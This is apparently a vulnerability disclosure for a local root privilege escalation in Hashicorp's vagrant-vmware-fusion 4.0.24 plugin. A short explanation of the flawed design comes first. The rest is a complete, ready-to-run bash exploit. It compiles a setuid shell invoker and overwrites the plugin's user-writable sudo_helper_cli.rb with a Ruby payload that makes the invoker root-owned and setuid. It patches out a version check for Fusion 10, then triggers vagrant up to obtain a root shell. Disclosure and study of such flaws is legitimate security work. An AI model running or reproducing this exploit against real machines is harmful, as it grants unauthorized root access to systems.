Hashicorp vagrant-vmware-fusion 4.0.24 Local Root Privilege Escalation

Hashicorp vagrant-vmware-fusion versions 4.0.24 and below suffer from a local privilege escalation vulnerability. This is the same issue that affected the last version but the vendor failed to properly address the issue.


MD5 | 6c5c0f0f63ac31c446e807ee7d596117

I have previously disclosed a couple of bugs in Hashicorp's vagrant-vmware-fusion plugin for vagrant.

Unfortunately the 4.0.23 release which was supposed to fix the previous bug I reported didn't address the issue, so Hashicorp quickly put out another release - 4.0.24 - after that (but didn't update the public changelog on github).

Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design flaw in the way the plugin is written combined with the need to elevate privileges for certain functions within Fusion.

Because Hashicorp need users to be able to update the plugin as the local non-root user the encrypted ruby code that the plugin is comprised of must remain owned by the non-root user. This means there is a huge attack surface that we can exploit to manipulate the execution of the program and still get root on 4.0.24.

I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is not compatible with Fusion 10. Curiously though it can be fairly easily tricked into working (at least partially) with Fusion 10 simply by patching out the version check and creating a symlink. I discovered this while trying to get the 4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch the version check out of the code, create a symlink for a binary that VMWare moved in v10 and then we're away. I was able to vagrant up and ssh into the running vm without any issues. It also means I was able to update the exploit so that it works on Fusion 8.x and Fusion 10.

This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid helper binary with a new go binary that contains all the required elevated operations and doesn't call back to the vulnerable ruby code.

ref:
https://m4.rkw.io/blog/cve201712579-local-root-privesc-in-hashicorp-vagrantvmwarefusion-4024.html


#!/bin/bash
echo
echo "**********************************************************"
echo "* vagrant_vmware_fusion plugin 4.0.24 local root privesc *"
echo "* by m4rkw - https://m4.rkw.io/blog.html *";
echo "**********************************************************"
echo "* works against vmware fusion 8.x and 10.x - even though *"
echo "* 4.0.24 is not compatible with 10.x, we patch out the *"
echo "* version check ;) *"
echo "**********************************************************"
echo

cleanup() {
exec 2> /dev/null
killall -9 vagrant 1>/dev/null 2>/dev/null
kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null
exec 2> /dev/tty
x=`pwd |sed 's/.*\///'`
if [ "$x" == ".vagrant_vmware_fusion_4024_exp" ] ; then
cd ..
rm -rf .vagrant_vmware_fusion_4024_exp
fi
cd
rm -rf .vagrant_vmware_fusion_4024_exp
if [ -e "$target1.bak" ] ; then
mv -f $target1.bak $target1
fi
if [ -e "$target2.orig" ] ; then
mv -f $target2.orig $target2
fi
}

vuln=`find ~/.vagrant.d//gems/2.3.4/gems/vagrant-vmware-fusion-4.0.24/bin -type f -perm +4000`

if [ "$vuln" == "" ] ; then
echo "Vulnerable suid binary not found. It gets +s after the first vagrant up."
exit 1
fi

mkdir .vagrant_vmware_fusion_4024_exp
cd .vagrant_vmware_fusion_4024_exp

echo "Looking for a vmware_desktop vagrant box ..."

box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`

download=0

if [ "$box" == "" ] ; then
download=1
echo "No box found, defaulting to envimation/ubuntu-xenial ..."
box="envimation/ubuntu-xenial"
fi

echo "Writing a dummy vagrantfile ..."

cat > vagrantfile <<EOF
Vagrant.configure('2') do |config|
config.vm.box = '$box'
end
EOF

echo "Compiling the shell invoker ..."

cat > /tmp/v.c <<EOF2
#include <unistd.h>
int main()
{
setuid(0);
seteuid(0);
execl("/bin/bash","bash","-c","rm -f /tmp/v; /bin/bash",NULL);
return 0;
}
EOF2
gcc -o /tmp/v /tmp/v.c
rm -f /tmp/v.c

echo "Looking for the sudo_helper_cli.rb ..."

target1=`find ~/.vagrant.d/ -name sudo_helper_cli.rb |grep vagrant-vmware-fusion-4.0.24`

if [ $target1 == "" ] ; then
cleanup
echo "sudo_helper_cli.rb version 4.0.24 not found"
exit 1
fi

echo "Installing ruby payload ..."

if [ ! -e "$target1.bak" ] ; then
mv -f $target1 $target1.bak
if [ ! $? -eq 0 ] ; then
cleanup
echo "Unable to rename $target1, may not be exploitable."
exit 1
fi
fi

cat > $target1 <<EOF
#!/usr/bin/env ruby
class HashiCorp::VagrantVMwarefusion::SudoHelperCLI
def run(x)
\`chown root:wheel /tmp/v\`
\`chmod 4755 /tmp/v\`
end
end
EOF

if [ ! $? -eq 0 ] ; then
cleanup
echo "Unable to write to $target1, may not be exploitable."
exit 1
fi

vc=`/Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx -v 2>&1 |grep 'VMware Fusion 10.'`

if [ "$vc" != "" ] ; then
echo "Fusion 10.x detected, Patching out the version check ..."

target2=`find ~/.vagrant.d/ -name driver.rb |grep vagrant-vmware-fusion-4.0.24`

if [ "$target2" == "" ] ; then
cleanup
echo "driver.rb version 4.0.24 not found"
exit 1
fi

if [ ! -e "$target2.orig" ] ; then
mv -f $target2 $target2.orig
if [ ! $? -eq 0 ] ; then
cleanup
echo "Unable to rename $target2, may not be exploitable."
exit 1
fi
fi

cat > $target2 <<EOF
load File.dirname(__FILE__) + "/driver.rb.orig"

module DriverVersionHack
def verify!
end
end

class HashiCorp::VagrantVMwarefusion::Driver::Fusion
prepend DriverVersionHack
end
EOF
fi

echo "Triggering vagrant up ..."

vagrant up &>/dev/null &

success=0


if [ $download -eq 1 ] ; then
echo "*** we need to download the vmware box so this will take a minute or two ***"
fi

echo "Waiting for payload to trigger ..."

count=0

while :
do
r=`ls -la /tmp/v |grep -- '-rwsr-xr-x 1 root wheel'`
if [ "$r" != "" ] ; then
success=1
break
fi
r=`ps auxwww |egrep '\/vagrant up$'`
if [ "$r" == "" ] ; then
break
fi
sleep 0.2
count=$(($count + 1))
if [ $count -eq 150 ] ; then
echo "Timed out waiting for the payload to trigger."
cleanup
exit 1
fi
done

cleanup

if [ ! $success -eq 1 ] ; then
echo "Exploit failed."
exit 1
fi

echo

/tmp/v

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